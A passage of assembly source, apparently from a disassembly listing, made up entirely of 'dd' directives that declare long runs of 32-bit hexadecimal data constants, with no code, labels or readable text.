		dd 0AC5B03E0h, 0D071EA7Bh, 0F99F2998h, 0A8EE8639h, 241FFFB6h
		dd 8440286Fh, 3A887916h, 0C61E1891h, 8535295Bh,	522AFD00h
		dd 15F5C14Ah, 0F64D001Ch, 0C50E41DEh, 0B876A134h, 0F9B22100h
		dd 0ED570555h, 0AE1300CAh, 8DA4C1Fh, 72007F82h,	3A7196CEh
		dd 0F025066h, 44AFAD77h, 53A509C0h, 0E8E8FF9Bh,	7874BE00h
		dd 67EAA9D7h, 0F5E10F93h, 0D50308B9h, 0E9B02A69h, 0BF00B32Dh
		dd 87516F54h, 63C059h, 61067678h, 0D6B53EA5h, 13BE3600h
		dd 290CDD3Ch, 969700C4h, 55E4F737h, 7C7ABC02h, 0E916987Fh
		dd 0F400B21Fh, 9FADFF90h, 5D431EA6h, 7980BAA7h,	0C4BAED16h
		dd 0D007FC6Ah, 28FA1580h, 56E00500h, 573500D9h,	8AB58FC2h
		dd 0F40BBC29h, 80777BD7h, 3466B3C8h, 17AD00E9h,	188CCE8Bh
		dd 500C9B5h, 264194B0h,	1E756AC1h, 0CBA1528h, 7F11B190h
		dd 0DA47BD00h, 0D985F106h, 0E5F40093h, 9C91EE8Fh, 5700ED9Dh
		dd 0D68983ACh, 72BA67F9h, 9FB900C5h, 6BE630E4h,	9500E26Ch
		dd 0C86317E9h, 0E2FD58B3h, 19E40093h, 20BD839Fh, 970081C4h
		dd 3EEA8FDAh, 7C808CAEh, 0BA7768h, 0A44DA3F2h, 0E6CF2D0Bh
		dd 745C2490h, 0FD2600AFh, 9BE4520Ah, 85FE25h, 0CBEB464Fh
		dd 868DFCDAh, 8E5DF007h, 5770A8B4h, 0A5C1D9h, 22E14783h
		dd 0B350254Dh, 0C588B900h, 0B09C9D01h, 59F01641h, 0DD0B03FFh
		dd 0A6B04D89h, 9D766611h, 0E88AC301h, 0DA58F0AEh, 0FC2DF8EBh
		dd 366A008Bh, 751141Fh,	13008F54h, 0DF237A5Ah, 2C606F66h
		dd 13C20670h, 50FD0068h, 855E5A65h, 4C052605h, 0E6C31D2Fh
		dd 4A15F0B1h, 4470DCh, 944684C7h, 938C0B3Ah, 28D39500h
		dd 0A105F416h, 7C1E1369h, 331C00F9h, 81B5462h, 119A3D00h
		dd 0E2A55950h, 4D72A8h,	0D8C76EF6h, 578E956Fh, 0F541C500h
		dd 0A1F31C32h, 81B501D3h, 2558DF9Ah, 0E049D8E6h, 874C6E00h
		dd 99591D08h, 0DCA40077h, 9D117C98h, 0ACE657ABh, 1D1CF500h
		dd 70F993BEh, 36840018h, 0B79E834Bh, 6B0F8042h,	0E01E7C24h
		dd 65B0AFECh, 50FCB1h, 0FEEB389Ah, 2AA32587h, 0F4971B00h
		dd 0C005DADCh, 798100CCh, 0E1EA549Eh, 98003AFAh, 0A0F10494h
		dd 3E06622Dh, 0CC870C09h, 6F5608C3h, 26C4F2C0h,	0FB00799Dh
		dd 0E4C88B8Ah, 45D0BAh,	0E59C7B8Fh, 4DD7232Fh, 0A9D19A01h
		dd 58C36722h, 0E7AD8D4h, 263F116Ch, 6242FE80h, 0A70F3A66h
		dd 807D0678h, 84897A36h
		dd 5FBC1C53h, 9D6200ADh, 38CE9644h, 0ECC03BFEh,	33FFDD4h
		dd 0EB798B7h, 0CBCDEAE0h, 15B44600h, 5C38457Fh,	538009Ah
		dd 0E3541225h, 0A7C028B5h, 0E26A2888h, 6D20096h, 0A48A25ACh
		dd 94F0F91Ah, 804C0E3Ch, 17A1B399h, 1E8EC5C6h, 0EA2656h
		dd 809A27E3h, 525C7BD6h, 0ABB750B4h, 398C9F00h,	0F4D5FCBAh
		dd 914900ACh, 0F2F67E90h, 0E300186Ch, 2D5CFBFAh, 0ABA136h
		dd 5F4BD7DEh, 0D6F4E735h, 0D81C6B03h, 90D31EF9h, 58AFC790h
		dd 0E80008E5h, 13EE0673h, 3EE143Fh, 5B7EEC00h, 82894A8Ah
		dd 0BE7D0743h, 0F0A90A20h, 3B8D7A96h, 6304DE00h, 9FB7CD9Ah
		dd 10531467h, 0EA40F4F6h, 0EDF00038h, 0E0EFECACh, 0D003D9C6h
		dd 0A980E1DDh, 0F597E091h, 5649009Fh, 815F35EBh, 3800F155h
		dd 0A309592Fh, 173EDCh,	0E609DE3h, 657E7A91h, 0BA1A3F00h
		dd 5C43B8F1h, 7F7132h, 532F86F5h, 185D8DBEh, 70013EEh
		dd 20CBABAEh, 1FC825h, 9AA423B6h, 55B97217h, 0B800CAE8h
		dd 0DD365DAFh, 15447B0h, 903A213h, 0D0FED686h, 7E00DFCDh
		dd 0F44A3DE0h, 3DC64C1h, 44F5021h, 0EB896DAFh, 0F660F6DEh
		dd 2F00D2CBh, 0E0A24EC2h, 3871275h, 90C19C62h, 1ED82631h
		dd 0C7001977h, 2A186DEBh, 0DCB7A0h, 1322A66Ah, 745BF9B8h
		dd 8252EE0Fh, 0CC9260EFh, 1D507Dh, 5A23676Bh, 564FB9E9h
		dd 0D49AA000h, 59FFDC75h, 0E3D93BC4h, 5DD2A382h, 9EC06BC1h
		dd 263E0F7h, 90CA5B8Ah,	0EC67E4h, 68CFF5B8h, 791788CEh
		dd 0E15A5800h, 0AFEE604Fh, 8B161C7Eh, 95A34228h, 3D603399h
		dd 0EA00B9B0h, 0CDD6E03Fh, 0DB2363h, 6EEF9FD2h,	8E9822ABh
		dd 4D6B1600h, 39AF62Fh,	7C5D001Eh, 967A97C9h, 4C7F20EAh
		dd 1A5C73Dh, 4BA46B2Dh,	76E56C9Fh, 0AD44CE80h, 3F7A7CB7h
		dd 3ABE8F00h, 0BC260A9Bh, 67663942h, 0F0B1E780h, 7F08880Bh
		dd 0ABC20400h, 0CB370D17h, 0C63D0302h, 0B1D3F5B6h, 7816E990h
		dd 0BF61876Eh, 1377FE00h, 485ED033h, 0A401A664h, 0E49137EFh
		dd 78B0F0BDh, 0F6346714h, 81C80008h, 112562A2h,	0E1311D97h
		dd 899E803Dh, 2838CA86h, 60359C33h, 4B46003Ch, 0A6C4787Ch
		dd 0F077605Eh, 0A2F41300h, 0DFFC24AAh, 0FA350031h, 5484FE98h
		dd 1600AB38h, 0AEB78A9h, 1FA53CE3h, 9E1CE961h, 0B010D86Eh
		dd 0B9C33FECh, 0E08BFFC7h, 1A4428Ch, 0D855807Ah, 8A7FC4DAh
		dd 1483BC20h, 640E7B10h, 7700CCE8h, 0DA9B7585h,	7DBD6800h
		dd 0EFC96012h, 91B0769h, 0E0BC9D1Eh, 0D5B377FDh, 800EE900h
		dd 7DE7B7EEh, 3C100E1Ch, 0FC00D4C9h, 28C4DEDh, 6A8A0900h
		dd 8BDA832Fh, 0EAA807BDh, 0FE2BB21Bh, 2780BEAEh, 817E9DCBh
		dd 9A00EFF4h, 2D1595C7h, 0D13170h, 722C1913h, 55E7C5AEh
		dd 6E7D0100h, 0A1B194CBh, 24343A53h, 7B3C0D00h,	71D92169h
		dd 0E833C103h, 0A130F6DDh, 209FA395h, 9B200049h, 33CA9A96h
		dd 0AC00A7E8h, 48A8F95Ah, 0F511162h, 0AEFC185Bh, 0A645C0C3h
		dd 0F4857FE0h, 14AA1207h, 8FBE87C7h, 0B81C002Ch, 6094E8Ah
		dd 6D1195E1h, 0EE600864h, 8835A921h, 4F1F00ABh,	82C9B115h
		dd 35B097BDh, 5B9358C6h, 0D353028h, 76183C08h, 0C544A400h
		dd 968F2F60h, 3E4E00C3h, 0D4F5270Bh, 77582658h,	0AD7A0057h
		dd 1ECA6E3Dh, 3248C33Ch, 94F047DFh, 0F70E390Bh,	8C4012EAh
		dd 0E24B694Ch, 305A0047h, 0E8776FC0h, 32012E3Eh, 5E9962DBh
		dd 6DC9466h, 0B7F53390h, 0FC11661h, 0E670A844h,	9FB66C00h
		dd 69501798h, 0C97D66h,	0E84649B2h, 742FE2E3h, 0B65F100h
		dd 6FE0BDD8h, 0CD70057h, 0F7413A88h, 58953695h,	2D8C00A3h
		dd 0D9DA4481h, 9E713834h, 363C4D00h, 240957C9h,	0CC5E189Bh
		dd 0C48118CAh, 0C2E5B100h, 0F1C6961h, 588000FCh, 5C8A2915h
		dd 8200735Eh, 907B109Eh, 7FBCB022h, 32E4ED46h, 0BD8E0051h
		dd 0BFFF11B1h, 0A3031C68h, 0EC4CE6A1h, 46042C9h, 44EEEAB1h
		dd 0F8042A18h, 0E307E041h, 5500E51Fh, 2AAD1140h, 0BC5F5C87h
		dd 9A81BE3Bh, 6FF12AAh,	0E46DE960h, 2A07F05Ch, 0FBDD1661h
		dd 154E4230h, 23F83089h, 0C0138C50h, 0CE047107h, 9DB08D73h
		dd 75962A0h, 0D2AA3125h, 0CE2E7C0Bh, 0FA1403E0h, 0F3206652h
		dd 18A3FAAAh, 780081FAh, 3CC7D4ADh, 3AC816EAh, 0C8606284h
		dd 0F7FEF486h, 380C2500h, 0EEE9E1B8h, 11266008h, 0FBAB8C4Ch
		dd 53506D00h, 0AF1F1531h, 0A2E32E76h, 8018353Bh, 0FE8AC2C2h
		dd 0B86BF90Fh, 99690449h, 67808284h, 32B4E87h, 0D41C5150h
		dd 88009479h, 0CD6F3A46h, 0DFF137Dh, 2CCB8C93h,	83B40850h
		dd 0FA8D7E18h, 0E2EFBD20h, 18350122h, 72A18F3Ah, 9E618312h
		dd 0D50451Bh, 33E9B5B0h, 0C7200811h, 0E6C8EA02h, 3E398CE1h
		dd 2B077F11h, 2FEFE2C0h, 0F156E528h, 0D027C240h, 48A0E0C0h
		dd 0CA49004Fh, 1DB7CF99h, 23032047h, 553FAAF3h,	6F180042h
		dd 30A82524h, 80683A0h,	0C16C27A1h, 2016FE40h, 0CE01B9F1h
		dd 33A2946h, 81C88AD2h,	0A8FA003Ch, 0F8F56114h,	71727591h
		dd 60FCE73Dh, 5D97E918h, 15D000CCh, 983F5E7Eh, 5A151E04h
		dd 720D305h, 5C0EF52Ah,	3E7F66C2h, 1FB820h, 8AD5C3ECh
		dd 302334C0h, 0A067C800h, 81EF960Ch, 932A0657h,	18DFC552h
		dd 6C39910Ch, 3C69C8D1h, 410F9208h, 20150EDEh, 5063C683h
		dd 55042A8Ch, 28CEEBEDh, 0C45703A8h, 0D55369D6h, 685D68ACh
		dd 402010DBh, 0DDAD96FBh, 80BE7C31h, 1E1AB991h,	602BA321h
		dd 6264D182h, 0D0400846h, 98475665h, 0DB965800h, 9F1FA248h
		dd 0B408D481h, 0C9C53A10h, 288D6584h, 0B89B2ECBh, 404015D6h
		dd 4AE629E1h, 6C100420h, 2A2A4714h, 4D39C035h, 5CCAA0DCh
		dd 880F3B8Ah, 0E7A1C0B2h, 20DB4229h, 0FC005D20h, 3111A187h
		dd 3EBE19B9h, 501ED2FAh, 0A5C54081h, 0FDBDB714h, 0EF48002h
		dd 98E0EB8Dh, 1163AA20h, 0F2BA4031h, 71011EF0h,	0B6BB4BB9h
		dd 211BBF38h, 0CAB0E0FCh, 0B24676A4h, 0B1FB53B0h, 7D1A8810h
		dd 64284A8h, 93FB3680h,	7C42ED1Bh, 1E1ECCA2h, 69127909h
		dd 4BA851A0h, 52107920h, 0D5A94851h, 0A1050E03h, 784E1785h
		dd 41C01060h, 0FFC2D023h, 0C11504D1h, 0CD445527h, 0A1DE4A8h
		dd 0B5BEB008h, 0C710F882h, 404CC899h, 0F4FD081Ch, 0ACF881E9h
		dd 5F479Ch, 844A1A8Dh, 8FAB15CCh, 509D1888h, 760C1DBAh
		dd 0C0B99364h, 9EA446E9h, 0C2A0CC50h, 4A10281Dh, 14A8FAB7h
		dd 81809D43h, 84DD6B6Ah, 0A7A1BA8Fh, 2F1DDD40h,	0E01E158Dh
		dd 0FCB32083h, 1068814Ch, 32844029h, 4602C1Bh, 4F0C71F5h
		dd 3C082A7Fh, 40EC59EFh, 85D8E408h, 1CF04C62h, 9C627E04h
		dd 407C791Fh, 8C6C8287h, 40BC7BFEh, 0B3C74443h,	7A7962D4h
		dd 8030533Eh, 7B28B7C0h, 828F786Eh, 67BF974h, 0A6BD0A14h
		dd 0F140622Eh, 62418068h, 0AAB7FCA9h, 0D9C61614h, 0DF2C60E3h
		dd 0B516BC91h, 0CC2A6D43h, 0D492377h, 811C4CA6h, 54B11E88h
		dd 10842575h, 930ABD6h,	0B9E32D6Bh, 74C0A448h, 68C64D13h
		dd 8CDEBCF0h, 0FBA2028Eh, 7F771917h, 5310338h, 0B35646E1h
		dd 0A9C0BBDAh, 6DACF8h,	9DDF47ECh, 7DBF12D1h, 40975500h
		dd 5B16A9E1h, 57D27C7Ch, 402220E9h, 59CE2F08h, 69600081h
		dd 0BE56875h, 6596BA00h, 0F8AC0ACFh, 9FC70386h,	954217D5h
		dd 4120F1E0h, 0A0FE32E2h, 0FE3283Ch, 821BDDEh, 5EC6E063h
		dd 9D4781B1h, 38BCB2C4h, 0AA90108Ah, 0A5BAA88Ch, 1C988140h
		dd 1FA020EEh, 0BB60A621h
		dd 2BE9D50Ah, 0C2203A33h, 41CBDE2h, 1DEE66A3h, 424E7C9Bh
		dd 0AB180CFh, 23268A52h, 56E1A1E1h, 20B2C96h, 0E8FDF392h
		dd 0EA213EC6h, 2C94594h, 297149A0h, 54521F15h, 0ABB0C02Ch
		dd 0FF575350h, 97FE8440h, 0A1FA228h, 89481C6Bh,	5E4AF89Dh
		dd 0C3013347h, 0D8AA420Ah, 8205EB3h, 5B2C965Ah,	0D5E1B8C1h
		dd 463E1F9Fh, 0AA158EC3h, 2F96016h, 0CB07804Bh,	6262F10Ah
		dd 523EA028h, 40D4E0EEh, 0EB84E002h, 293EA1E1h,	40606292h
		dd 1C9A884Dh, 3ECF9B47h, 7EA02094h, 0EF238443h,	639AE2C6h
		dd 0CD0A809Ch, 20F5F7B9h, 42BD0AF0h, 0E37C021h,	8F9F5236h
		dd 0F0C0F694h, 575F7151h, 0F28A4005h, 7FFF80C0h, 6015B568h
		dd 0A90A9003h, 0E0D285B0h, 603FEB9Bh, 0E492397Ah, 28A04F63h
		dd 902023C5h, 0AEC000ADh, 0B66098EDh, 72F8B8A5h, 6A03A477h
		dd 0EFF5A0B5h, 0ED380373h, 2977D620h, 0DD0F5118h, 2A756AB8h
		dd 21209BF2h, 6EE2AAD2h, 0D4940067h, 780AD27h, 42263728h
		dd 192BC6A9h, 0B218ED7Ch, 0CC303349h, 466644B3h, 850009EEh
		dd 8F393043h, 26F0A5D2h, 0AB32CFh, 0B08E20D6h, 5B18AC2Ah
		dd 7F208655h, 0C4410074h, 0F1AE11CFh, 0C607265Ch, 9E9283F8h
		dd 37E0C0CFh, 2CABEAC1h, 360B499h, 0F967A021h, 0B081A5CAh
		dd 1BD108Ah, 8BE3172h, 0FAE1FD00h, 2D8482EAh, 91678616h
		dd 8314701Eh, 6027CEC8h, 5093B38Fh, 0E520C19Fh,	80BD0403h
		dd 0AED8C768h, 801A89E8h, 6C075B70h, 0E1D04EC4h, 9C5F1210h
		dd 0FE30050h, 0A0AA4611h, 6718DE97h, 8A80FA64h,	0F05F5423h
		dd 0A1EC000Fh, 0BE3E509Bh, 932CA798h, 0D00B789h, 13F19280h
		dd 6B7164h, 5D95AD72h, 871D79A4h, 62A16F00h, 0F8D8EA81h
		dd 9ED60047h, 0A4559CB2h, 5E01DDF6h, 0C80F68C3h, 0E0EB438Eh
		dd 2E620h, 0C62B52Bh, 0EB263A91h, 0B5A1772Eh, 0A05F500Fh
		dd 6C0F8547h, 0BD7D0675h, 304FC843h, 57120201h,	2228F739h
		dd 0FD4900E3h, 0AE1AFC1Dh, 60C84FDFh, 0D1638010h, 57EADEC0h
		dd 5D79B007h, 9BB02ED6h, 2FDC55h, 67A64929h, 84C6BB56h
		dd 51380161h, 22FFC175h, 0CB004C78h, 2469C44Eh,	75636819h
		dd 93471E31h, 7995C055h, 0D1219A03h, 67026890h,	99B11581h
		dd 0A8B5C2h, 9B8955A2h,	69182229h, 0D6814376h, 0DEA4FEDEh
		dd 0DBED0418h, 782B001Bh, 0DDBE5DE7h, 302A58C8h, 9200A547h
		dd 6BCEEA05h, 0E1B5D08h, 0A9481E2Dh, 5583FFDDh,	4D53EC78h
		dd 7AB0610Eh, 1D5AC004h, 0C0509713h, 8D8E6718h,	0E93EBC0Fh
		dd 0ACFB2A07h, 39DE52FCh, 0EB28DC00h, 50BD36D7h, 3007CCF3h
		dd 792054B8h, 1430C208h, 15A7A15Ch, 0C474005Dh,	0F16A7CE5h
		dd 0C150A00Ch, 78C09360h, 0DBBA026Fh, 0EFF0A8A7h, 330E0006h
		dd 55BB83D7h, 5180F849h, 9091D0F6h, 5F6E7F0Ah, 0CEA48370h
		dd 581E9F25h, 813BBF79h, 41721FE0h, 5DD8B574h, 9B0C01C9h
		dd 5AD80162h, 0A30C20ADh, 98FA1E30h, 122F16A8h,	40D3071Ah
		dd 0CA7D3740h, 0C9125228h, 7400B9EAh, 0D6ED68B4h, 886354F1h
		dd 8FEB0624h, 81ADEC19h, 4081D881h, 0C99E50F4h,	24BF5624h
		dd 77B3D43h, 0B8E82978h, 0F966E643h, 4386C04Ah,	88939038h
		dd 0F319EB8h, 67B6E3C9h, 3EAF4A81h, 0CB424DCh, 0E76D8402h
		dd 43BCA97Dh, 1523F060h, 0C4F17474h, 819BFC10h,	8F29D93Ch
		dd 41832610h, 3A79015Eh, 0C1949AB8h, 7CE4FEh, 0B47A578Dh
		dd 69193181h, 4BAA8C9h,	8E40254Ch, 2BEE5D9Dh, 81285892h
		dd 0E1110CC1h, 0AD1028F5h, 154584B4h, 491C4923h, 97003D20h
		dd 919931B4h, 1BB009A4h, 0AE2974h, 808C26AAh, 0ACC4C19Eh
		dd 5D026818h, 503D320Ch, 1CB48A2Ah, 0F8D0401Eh,	0B9744501h
		dd 88C95CD7h, 45026018h, 0C905FCDh, 7199555h, 0B84B7828h
		dd 86DBE913h, 0DF135820h, 8402824Ch, 30434FD1h,	0BF6B69C0h
		dd 6FD160A3h, 840701ADh, 0E61B244Ah, 48581949h,	0A89E2A28h
		dd 3C436B21h, 0B1E2C080h, 0BD7B90A3h, 129B2700h, 0EE0C1722h
		dd 0FE290187h, 6C1F485Ch, 0D63BD001h, 18012D7Bh, 0B2B8129Eh
		dd 27E0114Ah, 0B8400BCh, 6AEF578Ch, 0B7F0EC49h,	0D9A5ED07h
		dd 0CC538B90h, 0EB91A025h, 1F160C51h, 45484FE5h, 0D0C78C1Eh
		dd 7AA38D40h, 173BF8h, 942AE28Bh, 0CD9FA28h, 57AE9A00h
		dd 0DB895458h, 0AB973CC8h, 85A86A02h, 3C90A37Bh, 0BA22969Fh
		dd 26B823D8h, 619CF908h, 0CB1E394h, 2BAC216Fh, 0C198FC08h
		dd 8B5B3E4h, 15A146EBh,	237847F7h, 3FA987C8h, 988E8835h
		dd 0DFC490FEh, 9990312Eh, 33919310h, 0B4BB531Eh, 8182714h
		dd 229F7E7h, 838B3392h,	6F278881h, 0E0608410h, 0B331B2F3h
		dd 21301607h, 0E3018ACBh, 128650D4h, 0F69B2080h, 5CEA26F7h
		dd 460BD52h, 9E17B4F1h,	20F40445h, 29FD9B30h, 6C7C60A0h
		dd 18109CACh, 0CF84AC47h, 892B608Fh, 0E2D845BDh, 2D4DD8B8h
		dd 0FD7C2B86h, 0F7830A9Ch, 0C2A4913Ch, 0AB66FCh, 2C622D10h
		dd 4D040C90h, 4F121F92h, 0D9F97880h, 0A3472A98h, 8564241Ch
		dd 30C76530h, 0BA2EE358h, 43A1E884h, 3E11148Ah,	0C434CAF4h
		dd 0B0262BE4h, 7C3C9C53h, 444B0CE9h, 40A9A7Bh, 9437162Dh
		dd 10184D14h, 47C59F44h, 4B542190h, 114823D9h, 3E24BD0Ch
		dd 86A23EE4h, 33131880h, 27206CA9h, 44537500h, 0FE4672C4h
		dd 2BB1CB08h, 0F4466043h, 6F14609Eh, 34C88412h,	47701848h
		dd 3C2B8601h, 14049C46h, 2B22B4BBh, 37D91013h, 0E208C879h
		dd 44192445h, 0A4BBD85Ch, 6F6C103Ch, 34B4CFAEh,	0E29BC8C0h
		dd 3CA49CEBh, 0B9297018h, 0F4478417h, 0C2119B10h, 1BB5A5CCh
		dd 7F1884A2h, 5B218C8Dh, 267C882Fh, 75FC4794h, 24FC11D0h
		dd 0EE042C93h, 8304BA25h, 901C0455h, 108FBF31h,	6A2D0743h
		dd 144411CAh, 8B34D862h, 0C1288631h, 2BAA8310h,	616EC885h
		dd 0C6B6C9Ch, 0F860A687h, 4C578695h, 7DCD149Ch,	0B878C9D8h
		dd 0A60B7B08h, 837FF9Ch, 0C2989C24h, 27308FF7h,	5449A40h
		dd 0D4FD607Bh, 29888098h, 0D216F9F4h, 38402251h, 0B8D8BBCEh
		dd 209E67C7h, 69803F27h, 76D9AEB2h, 56E82B09h, 0A8A48352h
		dd 0FDB03EBDh, 309A4398h, 6262D64Eh, 98B7F7D9h,	2704B524h
		dd 98F00745h, 65C42481h, 8F989128h, 0F8981867h,	2258D995h
		dd 8AD37C1h, 4C91C158h,	34DCBB19h, 0A005282Ch, 0CEE330h
		dd 8139F008h, 94484C90h, 8388502Ch, 4DE2EA92h, 0DB733003h
		dd 0A19717Dh, 52BA4578h, 500F9794h, 0A9A09408h,	76F0538Dh
		dd 0CFF5F20h, 4E2EAC16h, 0F50CBC81h, 115B7B9Ch,	0EFDB3076h
		dd 0AB58FC29h, 0E48F3728h, 592F1409h, 92A400BBh, 189D038Ch
		dd 3826B47Bh, 0A490C83Ch, 0F6237301h, 5B2D1580h, 25A29C51h
		dd 29FD0474h, 5A893CEh,	31D8E6FCh, 0C2B5A4h, 481A2D18h
		dd 10051042h, 86F8B4C9h, 2702293Ch, 13AB5A7Bh, 104460C0h
		dd 0B1BD2C38h, 0E6D000Ch, 28FA1178h, 0ABD398A8h, 56021203h
		dd 0C0FD8022h, 0D16D6C29h, 6F0368E0h, 0B5B2BFABh, 0C5DF510Fh
		dd 0C149026h, 6F266020h, 8C793080h, 24488D12h, 48EF071Bh
		dd 2CA2C62Bh, 9C088445h, 0AC4100C4h, 24E318D4h,	186A9820h
		dd 8849E8CFh, 2DF4AF3Ch, 6006C8B8h, 573B42A1h, 9A0405E9h
		dd 2161F45Bh, 0F8D28DE8h, 30A1D9B3h, 0A73C10BDh, 87FE88E0h
		dd 89185162h, 0E094A823h, 0F77CA9E0h, 5FBF01D2h, 0C1B9374Bh
		dd 0B2484022h, 0A6888C54h, 5484FE09h, 19D6C81Bh, 681D8B18h
		dd 800C50ECh, 7D0CB4D9h
		dd 0A0A86EFEh, 2685FC89h, 3E307813h, 281EB89Eh,	15BEF018h
		dd 0B4C39BB5h, 0DD0C1800h, 15371A9Fh, 0EC41CD2Ch, 83047824h
		dd 9003B4BEh, 0F1CE9D86h, 7031710h, 877B8C06h, 30ED681Bh
		dd 4152783Dh, 0D717088Ch, 148415E0h, 0C0AFC862h, 4AFE9C60h
		dd 471EDC92h, 0F484EB3Ch, 690E8F49h, 99792042h,	0D9F70040h
		dd 0B0B8E07Eh, 291EEA04h, 0B88817B7h, 8EEC099Bh, 0D8206074h
		dd 224EF206h, 88710E18h, 0E2C46D28h, 0D3490B6h,	592D1F14h
		dd 282C42E8h, 0C40B2C50h, 202A2B63h, 0E5B5482Ch, 58A8C2E6h
		dd 3D43A46Dh, 20102805h, 0A042DF65h, 81122AFFh,	27338948h
		dd 847451A8h, 3BC11EA8h, 56AD0C15h, 110C93D0h, 0C107FF6Ah
		dd 260F3CB7h, 8B487480h, 0F4DA0B16h, 0C74984F1h, 9890BAB4h
		dd 26AAB05Ah, 8A704D46h, 842C1429h, 0C11DEA91h,	26B22Ch
		dd 1AC589CEh, 18FFEBCCh, 10354044h, 7805412Ah, 24205ACEh
		dd 90FA70CFh, 0EEE80A4Ch, 0A4481190h, 4A9902ECh, 0B2019E18h
		dd 16020824h, 3ACDFE0h,	1588324Ch, 630074Bh, 4F6315EAh
		dd 0BBC00281h, 269EB8C1h, 17CA0880h, 7A2850D4h,	9658BCF3h
		dd 9A891004h, 319DE84Ah, 0FE2D5028h, 7470BC35h,	40A4AA20h
		dd 2016D13Ch, 89FC55FAh, 8400F4EEh, 10F2CB1Dh, 18F77D93h
		dd 11D1A1BDh, 0FB10FAB6h, 6601308Fh, 0BE313B5Bh, 0E3A52150h
		dd 78183807h, 2FF0AB1Eh, 63EFA333h, 748F180Fh, 18ACF3A8h
		dd 34A8B9F0h, 26015365h, 2938F0F4h, 0C23098A0h,	0CB9C0087h
		dd 0DA18A9CAh, 3D1E89E2h, 4EC345BCh, 756DEh, 0C317BD71h
		dd 4B8F6C25h, 6D020D01h, 0FFF4838h, 0A01124E0h,	2A299Dh
		dd 0D894E341h, 0BF7AB905h, 386C38h, 904B6489h, 305E18B4h
		dd 8F5910F3h, 7700BD50h, 93D3EC7Ch, 7F4037D8h, 98150C53h
		dd 0D2280D5Eh, 0BA208A54h, 0A3F02A7Dh, 50E8F160h, 6C23CECh
		dd 9CFD670Ah, 290061E2h, 6F124F3Fh, 549AF5DAh, 1BAA84Eh
		dd 9E538A55h, 0FF6884A5h, 2837B03Ch, 623D10BFh,	93780A45h
		dd 0D488A4F9h, 72CA1D9Eh, 88A31610h, 1074D1F4h,	0DBCAB4A8h
		dd 1592BA0Ch, 0DC811D0h, 0BC3E76B9h, 92F6E831h,	651040EDh
		dd 4E2276BAh, 4610A8B7h, 3011C0B5h, 0D14D92B9h,	0F60531C1h
		dd 21805676h, 112BF72Fh, 0E005AD66h, 0B23C04D4h, 4630DC40h
		dd 3E24AA39h, 0E906156Ch, 31619BF5h, 6401A472h,	87F7CC69h
		dd 77F8BB4Fh, 184675DBh, 60C0A879h, 0AE77E7C9h,	7D0289E8h
		dd 0E25C316Eh, 7960D73Dh, 3350BC94h, 0BB0079DCh, 386BD96Ah
		dd 2A04C7A3h, 0CF4BA49h, 2D9483BCh, 1900CD28h, 0FBEAA3CFh
		dd 60B52A26h, 0BB631834h, 0DE483AD5h, 0C2A11F50h, 55817A40h
		dd 920FA32Ch, 0D758A018h, 18AB0A10h, 15ECE43Ch,	8906F8E0h
		dd 0D0FE8C77h, 873FAEFCh, 0BC3F83C6h, 5EC67h, 2E9C7118h
		dd 0B618F820h, 71A7A1Ch, 25B13918h, 20578011h, 9C5D71C4h
		dd 3C7B3488h, 0C9067232h, 40190F3Ah, 0A0A61F32h, 1CBD2204h
		dd 0A990448h, 0B102EF0Eh, 6488A591h, 0C0772440h, 18970BE1h
		dd 79A68562h, 683146B8h, 1DF9A80Fh, 27B1024h, 8C5E248Eh
		dd 0D443F023h, 0F83B70A1h, 0C00597E7h, 0E29D6CF9h, 3314BC14h
		dd 0E0CB3905h, 0C66D1139h, 99E18F18h, 0BE88B11Ah, 24BD6108h
		dd 4F03B9BEh, 65FAEF04h, 645E1134h, 8EA4AC03h, 0F7C09FD9h
		dd 330076Bh, 98CA0D70h,	31DE84F5h, 10C493F0h, 2649D127h
		dd 0D0178C02h, 0C2F6F423h, 9A1884C6h, 999ED806h, 35709100h
		dd 0B79F4B11h, 0AA890490h, 81859AF6h, 0F0BA1544h, 0CDFE528Ah
		dd 98105E06h, 61C0160Eh, 0A1F238A5h, 0C98020D2h, 0B51984FFh
		dd 34C021E1h, 157CA52h,	25B61598h, 8C1DEBFCh, 0A8C61A18h
		dd 18A89179h, 3E4BF93Ah, 0B09834E0h, 0F8069C24h, 29B0BE0Dh
		dd 2C4F8FD4h, 590634Eh,	3514D91h, 920F1A5Ch, 0EC802A8Ah
		dd 91FBBAFFh, 7854DB49h, 9BF69806h, 4011F14Ah, 0B8442B86h
		dd 292F80AEh, 109941CDh, 209CC1D9h, 0D43F0B16h,	7ACFA8Ah
		dd 0BADDFE32h, 0DC9880ACh, 50206A73h, 0F687A703h, 2669F6Ch
		dd 9C8834F8h, 2440C6DBh, 7C1346BAh, 0BCE5h, 0FE7F48ABh
		dd 0BF213C12h, 382C3D84h, 8710971Fh, 957C8247h,	0A6A884A0h
		dd 0D0B5748h, 800584BCh, 0CD3E595Ah, 0E1B80E1Bh, 0ED40991Ah
		dd 0A94B96F2h, 7442448h, 4CC91809h, 981CBB50h, 98A1E90Ah
		dd 6A1164h, 26F59C7Bh, 83994BE4h, 0ECA0FEDAh, 86A1ADCDh
		dd 0F49h, 0AE15B872h, 54308D7Bh, 29DABCC3h, 69789F88h
		dd 2247948Eh, 4D0C4AAh,	0CB009E72h, 0EA92F5A3h,	0E5119F64h
		dd 0ECD0D8C1h, 0D8481025h, 938985Eh, 12B8FF69h,	2CAB5090h
		dd 90E56C09h, 986002B7h, 72284826h, 39471886h, 894B1131h
		dd 0EA1EDB98h, 0F970E073h, 2C71E9DBh, 824CFC84h, 0F78EAB79h
		dd 0B2C0A4C2h, 9898D4C1h, 7634D0B0h, 0D868795Fh, 4F0C40EDh
		dd 10007673h, 0AB5BFB91h, 7333087h, 0D959C5F0h,	0BC1A108Ah
		dd 930181DDh, 0EC5DB884h, 0D86496A8h, 1C502677h, 6105184Ch
		dd 0BC03218Fh, 8A932E35h, 571106BEh, 71C0A6EEh,	62108705h
		dd 2CCCDB53h, 0D41CA08Ah, 4780451h, 849B8B39h, 0F9A86150h
		dd 4C400965h, 53E11304h, 34C08CA6h, 2A877490h, 1274E8A6h
		dd 861D758Ch, 0C8DA7613h, 0C450D454h, 44888CA5h, 601F480Fh
		dd 4B963612h, 64021628h, 0F06D038h, 172B0A51h, 8880900Bh
		dd 483CA86Eh, 204AA230h, 0A7C455DBh, 7CA5B8C1h,	0D080D65Ch
		dd 0B692FA11h, 0F73F8761h, 0AA5AB980h, 1749B082h, 0C894829Ch
		dd 0BDC23D14h, 5D8448CEh, 0F36D383Dh, 31B83893h, 0F86E05B8h
		dd 5114A896h, 80BC8FBBh, 0BDF9E813h, 0E611C0FBh, 3F742588h
